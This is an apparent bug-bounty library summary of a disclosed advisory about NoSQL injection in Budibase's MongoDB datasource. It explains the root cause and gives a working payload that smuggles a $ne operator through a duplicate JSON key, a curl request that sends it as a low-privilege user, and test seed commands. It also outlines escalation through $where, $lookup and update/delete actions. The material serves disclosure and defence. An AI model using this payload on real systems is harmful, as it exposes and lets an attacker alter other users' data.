# Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete

Budibase MongoDB datasource enriches handlebars bindings unescaped into query JSON, letting a BASIC app user inject $ne/$where operators and dump the whole collection.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-07-24
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pmpg-2mxq-6xwr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pmpg-2mxq-6xwr
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:nosqli

**Target:** MongoDB datasource query execution endpoint (/api/queries/:queryId)
**Root cause:** Query string fields are handlebars-enriched with noEscaping:true and then JSON.parse'd, so attacker-supplied quotes/braces become structured JSON keys and operators; the MongoDB integration never strips $-prefixed keys, unlike the parameterized SQL path.
**Steps:**
1. Seed MongoDB with users docs including other users' secrets.
2. Builder creates MongoDB query with json `{"name": "{{name}}"}` and publishes app; Bob gets BASIC role.
3. Bob POSTs to `/api/queries/$QUERY_ID` with `{"parameters":{"name":"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033"}}`.
4. Duplicate `name` key: JSON.parse keeps last, so filter becomes `{name:{$ne:"x"},$comment:"bud-033"}` and returns all documents.
**How found:** Compared SQL path (interpolateSQL parameterization) against MongoDB path lacking equivalent; noticed noEscaping:true plus JSON.parse turns parameter values into structured keys, then used a duplicate-key trick with $comment to consume the template's trailing quote.
**Exploitation:** Any app role with permission on the query calls the standard execute endpoint; the injected operator replaces the builder's per-user filter, dumping the entire collection. Same primitive extends to $where JS exec, $lookup cross-collection reads, and update/delete action types rewriting the affected-document set.
**Escalation:** $where/$function for arbitrary JS in mongod, $lookup to pivot into adjacent sensitive collections, and update/delete actions to wipe or rewrite all reachable documents.
**Insight:** When a template engine renders into JSON with escaping disabled, a duplicate-key payload plus a meta operator like $comment can absorb the fixed trailing syntax and smuggle operator objects; check whether NoSQL connectors strip $-prefixed keys the way SQL connectors parameterize.

## Proof of concept (copied exactly from the original report)

**Injection payload overriding MongoDB filter**

```
x", "name": {"$ne": "x"}, "$comment": "bud-033
```

**curl request executing injected query as BASIC user**

```
curl -sS -b "$BOB_COOKIE" -X POST "$BASE/api/queries/$QUERY_ID" \
  -H "Content-Type: application/json" -H "x-budibase-app-id: $PROD_APP" \
  -d '{"parameters":{"name":"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033"}}'
```

**MongoDB seed documents for PoC**

```
docker run -d --name mongo -p 27017:27017 mongo:6
docker exec mongo mongosh --quiet --eval '
  db = db.getSiblingDB("testdb");
  db.users.insertMany([
    {name:"alice", email:"alice@x.com", secret:"public-alice"},
    {name:"bob",   email:"bob@x.com",   secret:"PRIVATE-BOB"},
    {name:"eve",   email:"eve@x.com",   secret:"PRIVATE-EVE"}
  ]);'
```

